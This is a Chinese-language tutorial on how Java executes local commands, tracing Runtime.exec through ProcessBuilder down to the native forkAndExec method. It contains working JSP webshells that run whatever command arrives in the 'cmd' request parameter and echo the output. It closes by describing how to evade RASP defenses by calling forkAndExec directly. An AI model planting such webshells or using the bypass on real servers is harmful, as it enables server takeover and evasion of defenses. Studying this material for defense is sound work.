Java本地命令执行
Java原生提供了对本地系统命令执行的支持,通常会使用RCE利用漏洞
或者Webshell
来执行系统终端命令控制服务器的目的。
对开发者来说调用本地命令来实现某些程序功能(如:ps进程、top内存管理)是一个正常的需求,对黑客来说本地命令执行是一种非常有利的入侵手段。
Runtime命令执行
在Java中通常使用java.lang.Runtime
类的exec
方法来执行本地系统命令。
Runtime命令执行测试
runtime-exec2.jsp 执行cmd命令示列:
<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>
改进回显
<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%
InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>
Runtime.exec(xxx)
调用链如下:
java.lang.UNIXProcess.<init>(UNIXProcess.java:247)
java.lang.ProcessImpl.start(ProcessImpl.java:134)
java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
java.lang.Runtime.exec(Runtime.java:620)
java.lang.Runtime.exec(Runtime.java:450)
java.lang.Runtime.exec(Runtime.java:347)
org.apache.jsp.runtime_002dexec2_jsp._jspService(runtime_002dexec2_jsp.java:118)
通过观察整个利用链看见exec
方法,并不是最终点,执行逻辑大致是:
Runtime.exec(xxx)
java.lang.ProcessBuilder.start()
new java.lang.UNIXProcess(xxx)
UNIXProcess
构造方法中调用了forkAndExec(xxx)
native方法。forkAndExec
调用操作系统级别fork
->exec
(*nix)/CreateProcess
(Windows)执行命令并返回fork
/Createprocess
的PID
有了调用链分析,就可以深入理解Java本地命令执行的深入逻辑了。Runtime
和ProcessBuilder
并不是程序的执行终点
ProcessBuilder命令执行
Runtime命令执行的时候,exec方法会最终调用ProcessBuilder
来执行本地命令,跟踪Runtime的exec方法就可以知道如何使用ProcessBuilder
。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%
InputStream in = new ProcessBuilder(request.getParameterValues("cmd")).start().getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>
UNIXProcess/Processlmpl
UNIXProcess
和ProcessImple
可以理解本就是一个东西,在JDK9中UNIXProcess
合并到了ProcesImpl
中。 UNIXProcess
类的ForkAndExec
示列:
private native int forkAndExec(int mode, byte[] helperpath,
byte[] prog,
byte[] argBlock, int argc,
byte[] envBlock, int envc,
byte[] dir,
int[] fds,
boolean redirectErrorStream)
throws IOException;
防御者很多时候只防御到了processBuilder.start()
方法,而我们只需要直接调用最终执行的UNIXProcess/ProcessImpl
的forkAndExec
方法就可以绕过RASP实现命令执行。